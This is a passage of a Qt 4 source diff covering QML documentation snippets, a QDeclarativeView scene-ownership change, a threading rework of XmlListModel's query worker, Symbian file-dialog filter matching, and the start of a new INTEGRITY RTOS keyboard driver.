the "brighter" state (i.e. when the mouse is pressed, but not on release).
@@ -313,24 +299,12 @@ void QDeclarativeTransition::setToState(const QString &t)
This property holds a list of the animations to be run for this transition.
- \qml
- Transition {
- PropertyAnimation { ... }
- NumberAnimation { ... }
- }
- \endqml
+ \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions
The top-level animations are run in parallel. To run them sequentially,
define them within a SequentialAnimation:
- \qml
- Transition {
- SequentialAnimation {
- PropertyAnimation { ... }
- NumberAnimation { ... }
- }
- }
- \endqml
+ \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations
*/
QDeclarativeListProperty<QDeclarativeAbstractAnimation> QDeclarativeTransition::animations()
{
diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp
index 0544f22..f32f390 100644
--- a/src/declarative/util/qdeclarativeutilmodule.cpp
+++ b/src/declarative/util/qdeclarativeutilmodule.cpp
@@ -66,6 +66,7 @@
#include "private/qdeclarativetimer_p.h"
#include "private/qdeclarativetransitionmanager_p_p.h"
#include "private/qdeclarativetransition_p.h"
+#include "private/qdeclarativeapplication_p.h"
#include "qdeclarativeview.h"
#include "qdeclarativeinfo.h"
#include "private/qdeclarativetypenotavailable_p.h"
@@ -75,6 +76,8 @@
void QDeclarativeUtilModule::defineModule()
{
+ qmlRegisterUncreatableType<QDeclarativeApplication>("QtQuick",1,1,"Application", QDeclarativeApplication::tr("Application is an abstract class"));
+
qmlRegisterType<QDeclarativeAnchorAnimation>("QtQuick",1,0,"AnchorAnimation");
qmlRegisterType<QDeclarativeAnchorChanges>("QtQuick",1,0,"AnchorChanges");
qmlRegisterType<QDeclarativeBehavior>("QtQuick",1,0,"Behavior");
diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp
index 20028eb..99c29d5 100644
--- a/src/declarative/util/qdeclarativeview.cpp
+++ b/src/declarative/util/qdeclarativeview.cpp
@@ -77,7 +77,7 @@ extern Q_GUI_EXPORT bool qt_applefontsmoothing_enabled;
class QDeclarativeScene : public QGraphicsScene
{
public:
- QDeclarativeScene();
+ QDeclarativeScene(QObject *parent = 0);
protected:
virtual void keyPressEvent(QKeyEvent *);
@@ -88,7 +88,7 @@ protected:
virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *);
};
-QDeclarativeScene::QDeclarativeScene()
+QDeclarativeScene::QDeclarativeScene(QObject *parent) : QGraphicsScene(parent)
{
}
@@ -132,7 +132,8 @@ class QDeclarativeViewPrivate : public QGraphicsViewPrivate, public QDeclarative
Q_DECLARE_PUBLIC(QDeclarativeView)
public:
QDeclarativeViewPrivate()
- : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {}
+ : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0),
+ resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {}
~QDeclarativeViewPrivate() { delete root; delete engine; }
void execute();
void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
@@ -155,8 +156,6 @@ public:
QElapsedTimer frameTimer;
void init();
-
- QDeclarativeScene scene;
};
void QDeclarativeViewPrivate::execute()
@@ -234,6 +233,9 @@ void QDeclarativeViewPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem,
you can connect to the statusChanged() signal and monitor for QDeclarativeView::Error.
The errors are available via QDeclarativeView::errors().
+ If you're using your own QGraphicsScene-based scene with QDeclarativeView, remember to
+ enable scene's sticky focus mode and to set itemIndexMethod to QGraphicsScene::NoIndex.
+
\sa {Integrating QML with existing Qt UI code}, {Using QML in C++ Applications}
*/
@@ -277,7 +279,7 @@ void QDeclarativeViewPrivate::init()
{
Q_Q(QDeclarativeView);
engine = new QDeclarativeEngine();
- q->setScene(&scene);
+ q->setScene(new QDeclarativeScene(q));
q->setOptimizationFlags(QGraphicsView::DontSavePainterState);
q->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
@@ -286,11 +288,11 @@ void QDeclarativeViewPrivate::init()
// These seem to give the best performance
q->setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate);
- scene.setItemIndexMethod(QGraphicsScene::NoIndex);
+ q->scene()->setItemIndexMethod(QGraphicsScene::NoIndex);
q->viewport()->setFocusPolicy(Qt::NoFocus);
q->setFocusPolicy(Qt::StrongFocus);
- scene.setStickyFocus(true); //### needed for correct focus handling
+ q->scene()->setStickyFocus(true); //### needed for correct focus handling
}
/*!
@@ -557,14 +559,14 @@ void QDeclarativeView::continueExecute()
void QDeclarativeView::setRootObject(QObject *obj)
{
Q_D(QDeclarativeView);
- if (d->root == obj)
+ if (d->root == obj || !scene())
return;
if (QDeclarativeItem *declarativeItem = qobject_cast<QDeclarativeItem *>(obj)) {
- d->scene.addItem(declarativeItem);
+ scene()->addItem(declarativeItem);
d->root = declarativeItem;
d->declarativeItemRoot = declarativeItem;
} else if (QGraphicsObject *graphicsObject = qobject_cast<QGraphicsObject *>(obj)) {
- d->scene.addItem(graphicsObject);
+ scene()->addItem(graphicsObject);
d->root = graphicsObject;
if (graphicsObject->isWidget()) {
d->graphicsWidgetRoot = static_cast<QGraphicsWidget*>(graphicsObject);
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index 8053a5e..d5c7d1b 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -46,11 +46,9 @@
#include <QDebug>
#include <QStringList>
-#include <QQueue>
+#include <QMap>
#include <QApplication>
#include <QThread>
-#include <QMutex>
-#include <QWaitCondition>
#include <QXmlQuery>
#include <QXmlResultItems>
#include <QXmlNodeModelIndex>
@@ -58,6 +56,7 @@
#include <QNetworkRequest>
#include <QNetworkReply>
#include <QTimer>
+#include <QMutex>
#include <private/qobject_p.h>
@@ -90,10 +89,15 @@ typedef QPair<int, int> QDeclarativeXmlListRange;
\qml
XmlListModel {
id: xmlModel
- ...
- XmlRole { name: "title"; query: "title/string()" }
+ // ...
+ XmlRole {
+ name: "title"
+ query: "title/string()"
+ }
}
+ \endqml
+ \qml
ListView {
model: xmlModel
delegate: Text { text: title }
@@ -142,39 +146,32 @@ struct XmlQueryJob
QStringList keyRoleResultsCache;
};
-class QDeclarativeXmlQuery : public QThread
+class QDeclarativeXmlQuery : public QObject
{
Q_OBJECT
public:
QDeclarativeXmlQuery(QObject *parent=0)
- : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1) {
+ : QObject(parent), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1) {
qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult");
- m_currentJob.queryId = -1;
+ moveToThread(&m_thread);
+ m_thread.start(QThread::IdlePriority);
}
~QDeclarativeXmlQuery() {
- m_mutex.lock();
- m_quit = true;
- m_condition.wakeOne();
- m_mutex.unlock();
-
- wait();
+ if(m_thread.isRunning()) {
+ m_thread.quit();
+ m_thread.wait();
+ }
}
void abort(int id) {
- QMutexLocker locker(&m_mutex);
- QQueue<XmlQueryJob>::iterator it;
- for (it = m_jobs.begin(); it != m_jobs.end(); ++it) {
- if ((*it).queryId == id) {
- m_jobs.erase(it);
- return;
- }
+ QMutexLocker ml(&m_mutex);
+ if (id != -1) {
+ m_jobs.remove(id);
}
- m_abortQueryId = id;
}
- int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects, QStringList keyRoleResultsCache) {
- QMutexLocker locker(&m_mutex);
+ int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *>* roleObjects, QStringList keyRoleResultsCache) {
XmlQueryJob job;
job.queryId = m_queryIds;
@@ -193,69 +190,69 @@ public:
if (roleObjects->at(i)->isKey())
job.keyRoleQueries << job.roleQueries.last();
}
- m_jobs.enqueue(job);
- m_queryIds++;
- if (!isRunning())
- start(QThread::IdlePriority);
- else
- m_condition.wakeOne();
+ {
+ QMutexLocker ml(&m_mutex);
+ m_jobs.insert(m_queryIds, job);
+ m_queryIds++;
+ if (m_queryIds <= 0)
+ m_queryIds = 1;
+ }
+
+ QMetaObject::invokeMethod(this, "processQuery", Qt::QueuedConnection, Q_ARG(int, job.queryId));
return job.queryId;
}
+private slots:
+ void processQuery(int queryId) {
+ XmlQueryJob job;
+
+ {
+ QMutexLocker ml(&m_mutex);
+ if (!m_jobs.contains(queryId))
+ return;
+ job = m_jobs.value(queryId);
+ }
+
+ QDeclarativeXmlQueryResult r;
+ doQueryJob(&job);
+ doSubQueryJob(&job);
+ r.queryId = job.queryId;
+ r.size = m_size;
+ r.data = m_modelData;
+ r.inserted = m_insertedItemRanges;
+ r.removed = m_removedItemRanges;
+ r.keyRoleResultsCache = job.keyRoleResultsCache;
+
+ {
+ QMutexLocker ml(&m_mutex);
+ if (m_jobs.contains(queryId)) {
+ emit queryCompleted(r);
+ m_jobs.remove(queryId);
+ }
+ }
+ }
+
Q_SIGNALS:
void queryCompleted(const QDeclarativeXmlQueryResult &);
void error(void*, const QString&);
protected:
- void run() {
- m_mutex.lock();
-
- while (!m_quit) {
- if (!m_jobs.isEmpty())
- m_currentJob = m_jobs.dequeue();
- m_mutex.unlock();
-
- QDeclarativeXmlQueryResult r;
- if (m_currentJob.queryId != -1) {
- doQueryJob();
- doSubQueryJob();
- r.queryId = m_currentJob.queryId;
- r.size = m_size;
- r.data = m_modelData;
- r.inserted = m_insertedItemRanges;
- r.removed = m_removedItemRanges;
- r.keyRoleResultsCache = m_currentJob.keyRoleResultsCache;
- }
-
- m_mutex.lock();
- if (m_currentJob.queryId != -1 && m_abortQueryId != m_currentJob.queryId)
- emit queryCompleted(r);
- if (m_jobs.isEmpty() && !m_quit)
- m_condition.wait(&m_mutex);
- m_currentJob.queryId = -1;
- m_abortQueryId = -1;
- }
- m_mutex.unlock();
- }
private:
- void doQueryJob();
- void doSubQueryJob();
- void getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const;
+ void doQueryJob(XmlQueryJob* job);
+ void doSubQueryJob(XmlQueryJob* job);
+ void getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const;
void addIndexToRangeList(QList<QDeclarativeXmlListRange> *ranges, int index) const;
private:
QMutex m_mutex;
- QWaitCondition m_condition;
- QQueue<XmlQueryJob> m_jobs;
- XmlQueryJob m_currentJob;
- bool m_quit;
- int m_abortQueryId;
+ QThread m_thread;
+ QMap<int, XmlQueryJob> m_jobs;
+ int m_queryIds;
QString m_prefix;
int m_size;
- int m_queryIds;
QList<QList<QVariant> > m_modelData;
QList<QDeclarativeXmlListRange> m_insertedItemRanges;
QList<QDeclarativeXmlListRange> m_removedItemRanges;
@@ -263,16 +260,16 @@ private:
Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery)
-void QDeclarativeXmlQuery::doQueryJob()
+void QDeclarativeXmlQuery::doQueryJob(XmlQueryJob* currentJob)
{
- Q_ASSERT(m_currentJob.queryId != -1);
+ Q_ASSERT(currentJob->queryId != -1);
QString r;
QXmlQuery query;
- QBuffer buffer(&m_currentJob.data);
+ QBuffer buffer(&currentJob->data);
buffer.open(QIODevice::ReadOnly);
query.bindVariable(QLatin1String("src"), &buffer);
- query.setQuery(m_currentJob.namespaces + m_currentJob.query);
+ query.setQuery(currentJob->namespaces + currentJob->query);
query.evaluateTo(&r);
//always need a single root element
@@ -280,9 +277,9 @@ void QDeclarativeXmlQuery::doQueryJob()
QBuffer b(&xml);
b.open(QIODevice::ReadOnly);
- QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + m_currentJob.namespaces;
+ QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + currentJob->namespaces;
QString prefix = QLatin1String("doc($inputDocument)/dummy:items") +
- m_currentJob.query.mid(m_currentJob.query.lastIndexOf(QLatin1Char('/')));
+ currentJob->query.mid(currentJob->query.lastIndexOf(QLatin1Char('/')));
//figure out how many items we are dealing with
int count = -1;
@@ -297,18 +294,16 @@ void QDeclarativeXmlQuery::doQueryJob()
count = item.toAtomicValue().toInt();
}
- m_currentJob.data = xml;
+ currentJob->data = xml;
m_prefix = namespaces + prefix + QLatin1Char('/');
m_size = 0;
if (count > 0)
m_size = count;
}
-void QDeclarativeXmlQuery::getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const
+void QDeclarativeXmlQuery::getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const
{
- Q_ASSERT(m_currentJob.queryId != -1);
-
- const QStringList &keysQueries = m_currentJob.keyRoleQueries;
+ const QStringList &keysQueries = currentJob.keyRoleQueries;
QString keysQuery;
if (keysQueries.count() == 1)
keysQuery = m_prefix + keysQueries[0];
@@ -336,34 +331,34 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList<QDeclarativeXmlListRange> *
ranges->append(qMakePair(index, 1));
}
-void QDeclarativeXmlQuery::doSubQueryJob()
+void QDeclarativeXmlQuery::doSubQueryJob(XmlQueryJob* currentJob)
{
- Q_ASSERT(m_currentJob.queryId != -1);
+ Q_ASSERT(currentJob->queryId != -1);
m_modelData.clear();
- QBuffer b(&m_currentJob.data);
+ QBuffer b(&currentJob->data);
b.open(QIODevice::ReadOnly);
QXmlQuery subquery;
subquery.bindVariable(QLatin1String("inputDocument"), &b);
QStringList keyRoleResults;
- getValuesOfKeyRoles(&keyRoleResults, &subquery);
+ getValuesOfKeyRoles(*currentJob, &keyRoleResults, &subquery);
// See if any values of key roles have been inserted or removed.
m_insertedItemRanges.clear();
m_removedItemRanges.clear();
- if (m_currentJob.keyRoleResultsCache.isEmpty()) {
+ if (currentJob->keyRoleResultsCache.isEmpty()) {
m_insertedItemRanges << qMakePair(0, m_size);
} else {
- if (keyRoleResults != m_currentJob.keyRoleResultsCache) {
+ if (keyRoleResults != currentJob->keyRoleResultsCache) {
QStringList temp;
- for (int i=0; i<m_currentJob.keyRoleResultsCache.count(); i++) {
- if (!keyRoleResults.contains(m_currentJob.keyRoleResultsCache[i]))
+ for (int i=0; i<currentJob->keyRoleResultsCache.count(); i++) {
+ if (!keyRoleResults.contains(currentJob->keyRoleResultsCache[i]))
addIndexToRangeList(&m_removedItemRanges, i);
else
- temp << m_currentJob.keyRoleResultsCache[i];
+ temp << currentJob->keyRoleResultsCache[i];
}
for (int i=0; i<keyRoleResults.count(); i++) {
@@ -374,15 +369,15 @@ void QDeclarativeXmlQuery::doSubQueryJob()
}
}
}
- m_currentJob.keyRoleResultsCache = keyRoleResults;
+ currentJob->keyRoleResultsCache = keyRoleResults;
// Get the new values for each role.
//### we might be able to condense even further (query for everything in one go)
- const QStringList &queries = m_currentJob.roleQueries;
+ const QStringList &queries = currentJob->roleQueries;
for (int i = 0; i < queries.size(); ++i) {
QList<QVariant> resultList;
if (!queries[i].isEmpty()) {
- subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")"));
+ subquery.setQuery(m_prefix + QLatin1String("(let $v := string(") + queries[i] + QLatin1String(") return if ($v) then ") + queries[i] + QLatin1String(" else \"\")"));
if (subquery.isValid()) {
QXmlResultItems resultItems;
subquery.evaluateTo(&resultItems);
@@ -392,7 +387,7 @@ void QDeclarativeXmlQuery::doSubQueryJob()
item = resultItems.next();
}
} else {
- emit error(m_currentJob.roleQueryErrorId.at(i), queries[i]);
+ emit error(currentJob->roleQueryErrorId.at(i), queries[i]);
}
}
//### should warn here if things have gone wrong.
@@ -792,9 +787,9 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati
This will access the \c title value for the first item in the model:
- \qml
- var title = model.get(0).title;
- \endqml
+ \js
+ var title = model.get(0).title;
+ \endjs
*/
QScriptValue QDeclarativeXmlListModel::get(int index) const
{
diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri
index fd57144..62fa8f1 100644
--- a/src/declarative/util/util.pri
+++ b/src/declarative/util/util.pri
@@ -1,6 +1,7 @@
INCLUDEPATH += $$PWD
SOURCES += \
+ $$PWD/qdeclarativeapplication.cpp \
$$PWD/qdeclarativeutilmodule.cpp\
$$PWD/qdeclarativeview.cpp \
$$PWD/qdeclarativeconnections.cpp \
@@ -30,6 +31,7 @@ SOURCES += \
$$PWD/qlistmodelinterface.cpp
HEADERS += \
+ $$PWD/qdeclarativeapplication_p.h \
$$PWD/qdeclarativeutilmodule_p.h\
$$PWD/qdeclarativeview.h \
$$PWD/qdeclarativeconnections_p.h \
diff --git a/src/gui/dialogs/qfiledialog.cpp b/src/gui/dialogs/qfiledialog.cpp
index e81773b..0c1304f 100644
--- a/src/gui/dialogs/qfiledialog.cpp
+++ b/src/gui/dialogs/qfiledialog.cpp
@@ -1770,7 +1770,7 @@ QString QFileDialog::getOpenFileName(QWidget *parent,
On Symbian^3 the parameter \a selectedFilter has no meaning and the
\a options parameter is only used to define if the native file dialog is
- used.
+ used. On Symbian^3, this function can only return a single filename.
\warning Do not delete \a parent during the execution of the dialog. If you
want to do this, you should create the dialog yourself using one of the
diff --git a/src/gui/dialogs/qfiledialog_symbian.cpp b/src/gui/dialogs/qfiledialog_symbian.cpp
index e7197bd..ed98950 100644
--- a/src/gui/dialogs/qfiledialog_symbian.cpp
+++ b/src/gui/dialogs/qfiledialog_symbian.cpp
@@ -54,6 +54,9 @@
QT_BEGIN_NAMESPACE
+extern QStringList qt_make_filter_list(const QString &filter); // defined in qfiledialog.cpp
+extern QStringList qt_clean_filter_list(const QString &filter); // defined in qfiledialog.cpp
+
enum DialogMode { DialogOpen, DialogSave, DialogFolder };
#if defined(Q_WS_S60) && defined(SYMBIAN_VERSION_SYMBIAN3)
class CExtensionFilter : public MAknFileFilter
@@ -61,56 +64,39 @@ class CExtensionFilter : public MAknFileFilter
public:
void setFilter(const QString filter)
{
- filterList.clear();
- if (filter.left(2) == QLatin1String("*.")) {
- //Filter has only extensions
- filterList << filter.split(QLatin1String(" "));
- return;
- } else {
- //Extensions are in parenthesis and there may be several filters
- QStringList separatedFilters(filter.split(QLatin1String(";;")));
- for (int i = 0; i < separatedFilters.size(); i++) {
- if (separatedFilters.at(i).contains(QLatin1String("(*)"))) {
- filterList << QLatin1String("(*)");
- return;
- }
- }
- QRegExp rx(QLatin1String("\\(([^\\)]*)\\)"));
- int pos = 0;
- while ((pos = rx.indexIn(filter, pos)) != -1) {
- filterList << rx.cap(1).split(QLatin1String(" "));
- pos += rx.matchedLength();
- }
+ QStringList unparsedFiltersList = qt_make_filter_list(filter);
+ QStringList filterList;
+ filterRxList.clear();
+
+ foreach (QString unparsedFilter, unparsedFiltersList) {
+ filterList << qt_clean_filter_list(unparsedFilter);
+ }
+ foreach (QString currentFilter, filterList) {
+ QRegExp filterRx(currentFilter, Qt::CaseInsensitive, QRegExp::Wildcard);
+ filterRxList << filterRx;
}
}
TBool Accept(const TDesC &/*aDriveAndPath*/, const TEntry &aEntry) const
{
- if (aEntry.IsDir())
- return ETrue;
-
//If no filter for files, all can be accepted
- if (filterList.isEmpty())
+ if (filterRxList.isEmpty())
return ETrue;
- if (filterList == QStringList(QLatin1String("(*)")))
+ if (aEntry.IsDir())
return ETrue;
- for (int i = 0; i < filterList.size(); ++i) {
- QString extension = filterList.at(i);
- //remove '*' from the beginning of the extension
- if (extension.at(0) == QLatin1Char('*'))
- extension = extension.mid(1);
-
+ foreach (QRegExp rx, filterRxList) {
QString fileName = qt_TDesC2QString(aEntry.iName);
- if (fileName.endsWith(extension))
+ if (rx.exactMatch(fileName))
return ETrue;
}
+
return EFalse;
}
private:
- QStringList filterList;
+ QList<QRegExp> filterRxList;
};
#endif
@@ -140,11 +126,13 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st
CleanupStack::PushL(extensionFilter);
extensionFilter->setFilter(filter);
select = AknCommonDialogsDynMem::RunSelectDlgLD(types, target,
- startFolder, NULL, NULL, titlePtr, extensionFilter);
+ startFolder, 0, 0, titlePtr, extensionFilter);
CleanupStack::Pop(extensionFilter);
} else if (dialogMode == DialogSave) {
+ QString defaultFileName = QFileDialogPrivate::initialSelection(startDirectory);
+ target = qt_QString2TPtrC(defaultFileName);
select = AknCommonDialogsDynMem::RunSaveDlgLD(types, target,
- startFolder, NULL, NULL, titlePtr);
+ startFolder, 0, 0, titlePtr);
} else if (dialogMode == DialogFolder) {
select = AknCommonDialogsDynMem::RunFolderSelectDlgLD(types, target, startFolder,
0, 0, titlePtr, NULL, NULL);
@@ -160,8 +148,10 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st
startFolder = qt_QString2TPtrC(dir);
}
}
- if (select)
- selection.append(qt_TDesC2QString(target));
+ if (select) {
+ QFileInfo fi(qt_TDesC2QString(target));
+ selection = fi.absoluteFilePath();
+ }
#endif
return selection;
}
diff --git a/src/gui/dialogs/qfileinfogatherer.cpp b/src/gui/dialogs/qfileinfogatherer.cpp
index 12e77b1..b36b21e 100644
--- a/src/gui/dialogs/qfileinfogatherer.cpp
+++ b/src/gui/dialogs/qfileinfogatherer.cpp
@@ -78,11 +78,11 @@ QFileInfoGatherer::QFileInfoGatherer(QObject *parent)
#endif
m_resolveSymlinks(false), m_iconProvider(&defaultProvider)
{
-#ifndef Q_OS_WIN
+#ifdef Q_OS_WIN
+ m_resolveSymlinks = true;
+#elif !defined(Q_OS_INTEGRITY)
userId = getuid();
groupId = getgid();
-#else
- m_resolveSymlinks = true;
#endif
#ifndef QT_NO_FILESYSTEMWATCHER
watcher = new QFileSystemWatcher(this);
diff --git a/src/gui/dialogs/qpagesetupdialog.cpp b/src/gui/dialogs/qpagesetupdialog.cpp
index 2a7847e..4037e1c 100644
--- a/src/gui/dialogs/qpagesetupdialog.cpp
+++ b/src/gui/dialogs/qpagesetupdialog.cpp
@@ -107,10 +107,10 @@ class QPageSetupDialogPrivate : public QAbstractPageSetupDialogPrivate
This value is obsolete and does nothing since Qt 4.5:
- \value DontUseSheet In previous versions of Qt, exec() the page setup dialog
- would create a sheet by default if the dialog was given a parent.
- This is no longer supported in Qt 4.5. If you want to use sheets, use
- QPageSetupDialog::open() instead.
+ \value DontUseSheet In previous versions of QDialog::exec() the
+ page setup dialog would create a sheet by default if the dialog
+ was given a parent. This is no longer supported from Qt 4.5. If
+ you want to use sheets, use QPageSetupDialog::open() instead.
\omitvalue None
\omitvalue OwnsPrinter
diff --git a/src/gui/embedded/embedded.pri b/src/gui/embedded/embedded.pri
index eb13d8d..31f0bc6 100644
--- a/src/gui/embedded/embedded.pri
+++ b/src/gui/embedded/embedded.pri
@@ -120,6 +120,12 @@ embedded {
LIBS += -lgf
}
+ contains( gfx-drivers, integrityfb ) {
+ HEADERS += embedded/qscreenintegrityfb_qws.h
+ SOURCES += embedded/qscreenintegrityfb_qws.cpp
+ LIBS += -lfbdev
+ }
+
contains( gfx-drivers, qvfb ) {
HEADERS += embedded/qscreenvfb_qws.h
SOURCES += embedded/qscreenvfb_qws.cpp
@@ -174,6 +180,11 @@ embedded {
SOURCES += embedded/qkbdqnx_qws.cpp
}
+ contains( kbd-drivers, integrity ) {
+ HEADERS += embedded/qkbdintegrity_qws.h
+ SOURCES += embedded/qkbdintegrity_qws.cpp
+ }
+
#
# Mouse drivers
#
@@ -207,4 +218,9 @@ embedded {
HEADERS += embedded/qmouseqnx_qws.h
SOURCES += embedded/qmouseqnx_qws.cpp
}
+
+ contains( mouse-drivers, integrity ) {
+ HEADERS += embedded/qmouseintegrity_qws.h
+ SOURCES += embedded/qmouseintegrity_qws.cpp
+ }
}
diff --git a/src/gui/embedded/qkbddriverfactory_qws.cpp b/src/gui/embedded/qkbddriverfactory_qws.cpp
index 661b073..45825e5 100644
--- a/src/gui/embedded/qkbddriverfactory_qws.cpp
+++ b/src/gui/embedded/qkbddriverfactory_qws.cpp
@@ -49,6 +49,7 @@
#include "qkbdum_qws.h"
#include "qkbdvfb_qws.h"
#include "qkbdqnx_qws.h"
+#include "qkbdintegrity_qws.h"
#include <stdlib.h>
#include "private/qfactoryloader_p.h"
#include "qkbddriverplugin_qws.h"
@@ -106,6 +107,10 @@ QWSKeyboardHandler *QKbdDriverFactory::create(const QString& key, const QString&
if (driver == QLatin1String("qnx") || driver.isEmpty())
return new QWSQnxKeyboardHandler(device);
#endif
+#if defined(Q_OS_INTEGRITY)
+ if (driver == QLatin1String("integrity") || driver.isEmpty())
+ return new QWSIntKeyboardHandler(device);
+#endif
#ifndef QT_NO_QWS_KEYBOARD
# ifndef QT_NO_QWS_KBD_TTY
if (driver == QLatin1String("tty") || driver.isEmpty())
@@ -151,6 +156,9 @@ QStringList QKbdDriverFactory::keys()
#if defined(Q_OS_QNX) && !defined(QT_NO_QWS_KBD_QNX)
list << QLatin1String("QNX");
#endif
+#if defined(Q_OS_INTEGRITY) && !defined(QT_NO_QWS_KBD_INTEGRITY)
+ list << QLatin1String("INTEGRITY");
+#endif
#ifndef QT_NO_QWS_KBD_TTY
list << QLatin1String("TTY");
#endif
diff --git a/src/gui/embedded/qkbdintegrity_qws.cpp b/src/gui/embedded/qkbdintegrity_qws.cpp
new file mode 100644
index 0000000..b2df422
--- /dev/null
+++ b/src/gui/embedded/qkbdintegrity_qws.cpp
@@ -0,0 +1,197 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtGui module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#if !defined(QT_NO_QWS_KEYBOARD) && !defined(QT_NO_QWS_KBD_INTEGRITY)
+
+#include "qkbdintegrity_qws.h"
+#include <qwindowsystem_qws.h>
+#include <qapplication.h>
+#include <qtimer.h>
+#include <qthread.h>
+
+#include <INTEGRITY.h>
+
+
+//===========================================================================
+
+QT_BEGIN_NAMESPACE
+
+//
+// INTEGRITY keyboard
+//
+
+class QIntKeyboardListenThread;
+
+class QWSIntKbPrivate : public QObject
+{
+ Q_OBJECT
+ friend class QIntKeyboardListenThread;
+public:
+ QWSIntKbPrivate(QWSKeyboardHandler *, const QString &device);
+ ~QWSIntKbPrivate();
+ void dataReady(int amount) { emit kbdDataAvailable(amount); }
+ uint8_t scancodebuf[32 /* USB_SCANCODE_BUF_LEN */ ];
+ uint8_t rxpost;
+ uint8_t rxack;
+
+Q_SIGNALS:
+ void kbdDataAvailable(int amount);
+
+private Q_SLOTS:
+ void readKeyboardData(int amount);
+
+private:
+ QWSKeyboardHandler *handler;
+ QIntKeyboardListenThread *kbdthread;
+};
+class QIntKeyboardListenThread : public QThread
+{
+protected:
+ QWSIntKbPrivate *imp;
+ bool loop;
+public:
+ QIntKeyboardListenThread(QWSIntKbPrivate *im) : QThread(), imp(im) {};
+ ~QIntKeyboardListenThread() {};
+ void run();
+ void stoploop() { loop = false; };
+};
+
+
+QWSIntKeyboardHandler::QWSIntKeyboardHandler(const QString &device)
+ : QWSKeyboardHandler(device)
+{
+ d = new QWSIntKbPrivate(this, device);
+}
+
+QWSIntKeyboardHandler::~QWSIntKeyboardHandler()
+{
+ delete d;
+}
+
+//void QWSIntKeyboardHandler::processKeyEvent(int keycode, bool isPress,
+// bool autoRepeat)
+//{
+// QWSKeyboardHandler::processKeyEvent(keycode, isPress, autoRepeat);
+//}
+
+void QIntKeyboardListenThread::run(void)
+{
+ Error E;
+ Buffer b;
+ Connection kbdc;
+ bool waitforresource = true;
+ do {
+ E = RequestResource((Object*)&kbdc,
+ "USBKeyboardClient", "!systempassword");
+ if (E == Success) {
+ loop = false;
+ } else {
+ E = RequestResource((Object*)&kbdc,
+ "KeyboardClient", "!systempassword");
+ if (E == Success) {
+ waitforresource = false;
+ }
+ }
+ if (waitforresource)
+ ::sleep(1);
+ } while (loop && waitforresource);
+ if (!loop)
+ return;
+ b.BufferType = DataBuffer | LastBuffer;
+ b.Length = sizeof(imp->scancodebuf);
+ b.TheAddress = (Address)imp->scancodebuf;
+ do {
+ b.Transferred = 0;
+ b.TheAddress = (Address)imp->scancodebuf + imp->rxpost;
+ CheckSuccess(SynchronousReceive(kbdc, &b));
+ imp->rxpost += b.Transferred;
+ if (imp->rxpost >= 32 /* USB_SCANCODE_BUF_LEN */)
+ imp->rxpost = 0;
+ if (imp->rxpost == (imp->rxack + b.Transferred) % 32 /* USB_SCANCODE_BUF_LEN */) {
+ imp->kbdDataAvailable(b.Transferred);
+ }
+ } while (loop);
+}
+
+void QWSIntKbPrivate::readKeyboardData(int amount)
+{
+ uint16_t keycode;
+ do {
+ if (scancodebuf[rxack] == 0xe0) {
